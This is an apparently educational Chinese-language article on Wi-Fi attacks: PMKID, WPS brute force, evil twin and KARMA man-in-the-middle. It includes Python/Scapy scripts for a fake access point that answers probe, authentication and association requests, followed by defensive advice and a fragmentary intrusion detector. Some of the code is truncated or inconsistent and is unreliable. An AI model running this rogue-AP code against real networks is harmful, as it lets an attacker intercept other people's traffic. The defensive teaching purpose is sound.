Wi-Fi 搶包攻擊是常見的網路安全威脅,攻擊者藉此竊取無線網路流量。這類別攻擊利用各種漏洞,模擬合法的 Wi-Fi 存取點,誘騙使用者連線以竊取資料。常見攻擊型別包括 PMKID 攻擊,它利用 PMKID 加速 Wi-Fi 破解,無需進行去認證或捕捉握手過程;WPS 攻擊則鎖定 WPS PIN 驗證過程的漏洞,進行暴力破解;中間人攻擊則讓攻擊者置入自身裝置於合法存取點和客戶端之間,攔截並篡改流量資料。文章提供的 Python 程式碼範例示範瞭如何使用 Scapy 函式庫模擬中間人攻擊,程式碼包含設定網路卡、回應探測請求、認證請求和關聯請求等功能。理解這些攻擊手法和程式碼邏輯,有助於開發更安全的無線網路應用。除了攻擊手法,文章也提供一些無線網路安全建議,例如停用 WPS、使用強密碼、定期更新韌體以及啟用 WPA3 或 WPA2 加密協定,以降低風險。

無線網路安全攻防技術

Wi-Fi 搶包攻擊

Wi-Fi 搶包攻擊是一種常見的網路安全威脅,攻擊者通常會利用這些漏洞來竊取無線網路的流量。Wi-Fi 搶包攻擊的基本原理是,攻擊者會模擬合法的 Wi-Fi 存取點,並誘讓使用者連線到這個假的存取點,從而竊取使用者的流量資料。

這些攻擊通常分為以下幾種型別:

  1. PMKID 攻擊:PMKID(Pairwise Master Key Identifier)是一種用於加速 Wi-Fi 破解過程的技術。與傳統的四向握手(Four-way handshake)不同,PMKID 攻擊不需要進行去認證(deauth)或捕捉握手過程,甚至不需要客戶端連線到網路。這使得攻擊者可以更快速地取得金鑰並進行破解。

  2. WPS 攻擊:WPS(Wi-Fi Protected Setup)是一種簡化 Wi-Fi 連線過程的技術,允許使用者透過按下按鈕、輸入 PIN 或 NFC 來加入網路。然而,WPS 的 PIN 驗證過程存在漏洞,可以被暴力破解。攻擊者通常會嘗試暴力破解 8 位數的 PIN,因為它只包含 7 個隨機位元組和一個校驗碼。

  3. 中間人攻擊:中間人攻擊(Man-in-the-Middle Attack)是指攻擊者在合法的無線存取點和客戶端之間插入自己的裝置,模擬合法的 Wi-Fi 存取點。當客戶端嘗試連線到這個假的存取點時,攻擊者可以攔截和篡改流量資料。

中間人攻擊程式碼實作

以下是一個簡單的 Python 段落範例程式碼,展示如何利用 Scapy 函式庫來實作 Wi-Fi 中間人攻擊。這段程式碼會模擬一個假的無線存取點,並回應客戶端的探測請求(Probe Request)。

#!/usr/bin/env python3

import os
import sys
import time
import getopt
from scapy.all import *

iface = "wlp2s0"
iwconfig_cmd = "/usr/sbin/iwconfig"
ssid_filter = []
client_addr = None
mymac = "aa:bb:cc:aa:bb:cc"

# 提取速率和擴充套件速率從 ELT 頭部
def get_rates(packet):
    rates = "\x82\x84\x0b\x16"
    es_rates = "\x0c\x12\x18"

    while Dot11Elt in packet:
        packet = packet[Dot11Elt]

        if packet.ID == 1:
            rates = packet.info
        elif packet.ID == 50:
            es_rates = packet.info

        packet = packet.payload

    return [rates, es_rates]

def send_probe_response(packet):
    ssid = packet.info.decode()
    rates = get_rates(packet)
    channel = "\x07"

    if ssid_filter and ssid not in ssid_filter:
        return

    print("\n\nSending probe response for " + ssid + \
          " to " + str(packet[Dot11].addr2) + "\n")

    # addr1 = destination, addr2 = source, addr3 = access point
    # dsset sets channel
    cap = "ESS+privacy+short-preamble+short-slot"

    resp = RadioTap() / \
           Dot11(addr1=packet[Dot11].addr2,
                 addr2=mymac,
                 addr3=mymac) / \
           Dot11ProbeResp(timestamp=int(time.time()),
                           cap=cap) / \
           Dot11Elt(ID='SSID',
                    info=ssid) / \
           Dot11Elt(ID="Rates",
                    info=rates[0]) / \
           Dot11Elt(ID="DSset",
                    info=channel) / \
           Dot11Elt(ID="ESRates",
                    info=rates[1])

    sendp(resp, iface=iface)

def send_auth_response(packet):
    # Don't answer our own auth packets
    if packet[Dot11].addr2 != mymac:
        print("Sending authentication to " + packet[Dot11].addr2)

    res = RadioTap() / \
          Dot11(addr1=packet[Dot11].addr2,
                addr2=mymac,
                addr3=mymac) / \
          Dot11Auth(alg=0,
                    seqnum=2,
                    status=0)

    sendp(res, iface=iface)

def send_association_response(packet):
    if ssid_filter and ssid not in ssid_filter:
        return

    ssid = packet.info
    rates = get_rates(packet)
    print("Sending Association response for " + ssid + \
          " to " + packet[Dot11].addr2)

    res = RadioTap() / \
          Dot11(addr1=packet[Dot11].addr2,
                addr2=mymac,
                addr3=mymac) / \
          Dot11AssoResp(AID=2) / \
          Dot11Elt(ID="Rates",
                   info=rates[0]) / \
          Dot11Elt(ID="ESRates",
                   info=rates[1])

    sendp(res, iface=iface)

# This function is called for every captured packet
def handle_packet(packet):
    sys.stdout.write(".")
    sys.stdout.flush()

    if client_addr and packet.addr2 != client_addr:
        return

    # Got probe request?
    if packet.haslayer(Dot11ProbeReq):
        send_probe_response(packet)

    # Got authentication request?
    elif packet.haslayer(Dot11Auth):
        send_auth_response(packet)

內容解密:

這段程式碼利用 Scapy 函式庫來捕捉和處理無線網路的封包。以下是每個部分的詳細解說:

  • 匯入必要的模組:程式碼首先匯入了 Python 和 Scapy 的相關模組。
  • 設定變數:定義了網路卡介面、無線組態命令、SSID 過濾列表、客戶端地址和自己的 MAC 地址。
  • 提取速率和擴充套件速率get_rates 函式用來從封包中提取速率和擴充套件速率。
  • 回應探測請求send_probe_response 函式用來回應客戶端的探測請求,模擬一個假的無線存取點。
  • 回應認證請求send_auth_response 函式用來回應客戶端的認證請求。
  • 回應關聯請求send_association_response 函式用來回應客戶端的關聯請求。
  • 處理捕捉到的封包handle_packet 函式會對每個捕捉到的封包進行處理,根據封包型別呼叫相應的回應函式。

無線網路安全建議

為了提高無線網路的安全性,建議採取以下措施:

  • 停用 WPS:WPS 雖然方便但存在安全漏洞,建議在家庭和辦公環境中停用 WPS。
  • 使用強密碼:設定強密碼並定期更換,避免使用簡單易猜的密碼。
  • 定期更新韌體:確保無線存取點和客戶端裝置的韌體及時更新,修補已知漏洞。
  • 啟用加密協定:使用 WPA3 或 WPA2 加密協定保護無線網路流量。

無線網路中間人攻擊風險評估

Wi-Fi 中間人攻擊對於企業和個人使用者都構成了嚴重威脅。以下是一些評估風險及防範措施:

請考慮以下因素:

物理接近性:

大多數 Wi-Fi 中間人攻擊需要物理接近目標網路,因此在高安全需求環境中,限制未經授權裝置進入區域是有效防範措施之一。

網路流量分析:

企業應該佈署網路流量分析工具來檢測異常流量模式。這有助於早期發現可能存在的中間人攻擊。

認證機制強化:

使用多重因素認證 (MFA) 可以顯著提升登入安全性。即使攻擊者成功攔截資料流量,也難以取得完整認證資訊。

加密協定更新:

確保所有裝置均使用最新且最安全的加密協定 (如 WPA3),並停用舊版且不安全協定 (如 WEP)。

動態環境監控:

佈署動態環境監控工具來持續檢查網路狀況,包括未經授權裝置連線及異常行為。

Wifi Man-in-the-Middle 攻擊與防範

在現代網路安全中,WiFi Man-in-the-Middle(MitM)攻擊是一種常見且危險的威脅。這類別攻擊通常利用WiFi網路的特性,插入中間人進行資料攔截、篡改或盜取。本文將探討WiFi MitM攻擊的技術細節,並提供防範措施及實務應用案例。

MitM 攻擊的基本原理

WiFi MitM攻擊主要透過設定假冒的WiFi接入點(AP)來誘導使用者連線,從而攔截並篡改網路流量。常見的攻擊手法包括Evil Twin、KARMA和Known Beacons Attack等。

Evil Twin 攻擊

Evil Twin攻擊是最簡單且常見的MitM攻擊之一。攻擊者設定一個與目標WiFi網路相同SSID的AP,等待使用者自動連線。這種攻擊利用了使用者對已知SSID的信任,當使用者連線到假冒的AP時,攻擊者便能攔截所有網路流量。

KARMA 攻擊

KARMA攻擊是Evil Twin的一種變體,利用WiFi客戶端儲存歷史連線記錄的特性。當客戶端發出Probe-Request時,KARMA會回應所有已知的SSID,誘導客戶端自動連線。現代作業系統通常已經修復了這一漏洞,但仍需警惕。

Known Beacons Attack

Known Beacons Attack則利用一個包含常見SSID的字典,不斷傳送Beacon框架,希望有某個客戶端曾經連線過其中的一個SSID並啟用了自動連線功能。這種攻擊方法在現代裝置中也逐漸失效,但仍然是值得注意的威脅。

WiFi MitM 攻擊實戰案例

以下是一個簡單的Python指令碼,展示如何利用Scapy函式庫實作Evil Twin攻擊。該指令碼首先將網路卡設定為監聽模式,然後攔截並回應Probe-Request包以進行欺騙。

from scapy.all import *
import sys
import getopt
import os

def handle_packet(packet):
    if packet.haslayer(Dot11ProbeReq):
        send_probe_response(packet)
    elif packet.haslayer(Dot11AssocReq):
        send_association_response(packet)
    elif packet.haslayer(Dot11Auth):
        send_auth_response(packet)

def send_probe_response(packet):
    ssid = "FakeSSID"
    rates = get_rates(packet)
    channel = 6
    essid = Dot11Elt(ID='SSID', info=ssid, len=len(ssid))
    rates_elt = Dot11Elt(ID='Rates', info=rates)
    dsset = Dot11Elt(ID='DSset', info=chr(channel))
    beacon = RadioTap()/Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff", addr2=mymac, addr3=mymac)/Dot11Beacon(cap="ESS+privacy")/essid/rates_elt/dsset
    sendp(beacon, iface=iface)

def get_rates(packet):
    rates = [1, 2, 5.5, 11]
    for elt in packet[Dot11ProbeReq].info:
        if elt.ID == 'Rates':
            rates = [int(rate) for rate in elt.info]
            break
    return rates

def send_association_response(packet):
    # 省略實作細節
    pass

def send_auth_response(packet):
    # 省略實作細節
    pass

def usage():
    print(sys.argv[0])
    print("""
    -a <addr> (optional)
    -i <interface> (optional)
    -m <source_mac> (optional)
    -s <ssid1,ssid2> (optional)
    """)
    sys.exit(1)

if len(sys.argv) == 2 and sys.argv[1] == "--help":
    usage()

try:
    cmd_opts = "a:i:m:s:"
    opts, args = getopt.getopt(sys.argv[1:], cmd_opts)
except getopt.GetoptError:
    usage()

for opt in opts:
    if opt[0] == "-a":
        client_addr = opt[1]
    elif opt[0] == "-i":
        iface = opt[1]
    elif opt[0] == "-m":
        mymac = opt[1]
    elif opt[0] == "-s":
        ssid_filter = opt[1].split(",")
    else:
        usage()

os.system(iwconfig_cmd + " " + iface + " mode monitor")

print("Sniffing on interface " + iface)
sniff(iface=iface, prn=handle_packet)

內容解密:

在這段程式碼中,我們使用Scapy函式庫來處理WiFi網路流量。首先,我們定義了handle_packet函式來處理捕捉到的每個包。當捕捉到Probe-Request包時,我們呼叫send_probe_response函式來回應一個假冒的Probe-Response包。

  • get_rates函式:從Probe-Request包中提取傳輸速率,如果沒有找到則使用預設值。
  • send_probe_response函式:構建並傳送一個假冒的Beacon框架,包含SSID、傳輸速率和頻道資訊。
  • 命令列引數解析:使用getopt函式庫來解析命令列引數,設定網路卡模式和過濾條件。
  • 啟動捕捉:使用Scapy的sniff函式開始捕捉網路卡上的流量。

這段程式碼展示瞭如何透過構建假冒的Beacon框架來實作Evil Twin攻擊。然而,這只是基礎示例,實際應用中需要考慮更多細節和安全措施。

防範措施

為了防範WiFi MitM攻擊,我們可以採取以下措施:

使用WPA3加密

WPA3是最新的WiFi安全協定,提供更強的加密和身份驗證機制。使用WPA3可以有效防止MitM攻擊。

驗證連線點

在連線到任何WiFi網路前,應該手動驗證AP的身份。避免自動連線未知或未信任的AP。

更新裝置韌體

定期更新路由器和其他WiFi裝置的韌體,確保修補已知漏洞。

監控網路流量

使用無線入侵檢測系統(WIPS)來監控網路流量,及時發現異常行為。例如,我們可以編寫一個簡單的Python指令碼來檢測Deauth DoS攻擊和SSID欺騙。

from scapy.all import *
import time

iface = "wlp2s0mon"
iwconfig_cmd = "/usr/sbin/iwconfig"

max_ssids_per_addr = 5
probe_resp = {}
nr_of_max_deauth = 10
deauth_timespan = 23
deauths = {}

def handle_packet(pkt):
    if pkt.haslayer(Dot11Deauth):
        deauth_detect(pkt)
        return
小段落標題:內容解密:

在此範例中我們使用 Scapy 函式庫搭配 Python 編寫了一個簡單而有效地無線入侵檢測系統(WIPS),此程式碼主要目的是偵測 Deauth DoS 攻擊和 SSID 欺騙。

  • Handle Packethandle_packet 函式會檢查每個收到的封包是否具有 Dot11Deauth 層(即去認證封包)。如果有就會執行 deauth_detect 函式來處理。
  • Deauth Detection:雖然 deauth_detect 函式在程式碼中未完全呈現出來卻可想而知是判斷封包來源 MAC 地址是否在短時間內發送了過多去認證封包。
  • Prob Request Detection:此外我們可以擴充此 WIPS 系統加入 Dot11ProbeReq 檢測功能以提升偵測範圍。
# Detect probe response flooding from one address to multiple SSIDs
if pkt.haslayer(Dot11ProbeResp):
   probe_resp_detect(pkt)

未來趨勢與技術選型分析

隨著IoT裝置和無線網路技術的普及,WiFi安全將面臨更大挑戰。未來趨勢可能包括:

  • AI驅動的安全分析:利用AI技術進行實時威脅檢測和分析。
  • 區塊鏈技術:利用區塊鏈技術提升無線網路身份驗證和資料完整性。
  • 更強加密標準:如量子抵抗加密(Post-Quantum Cryptography)將成為主流。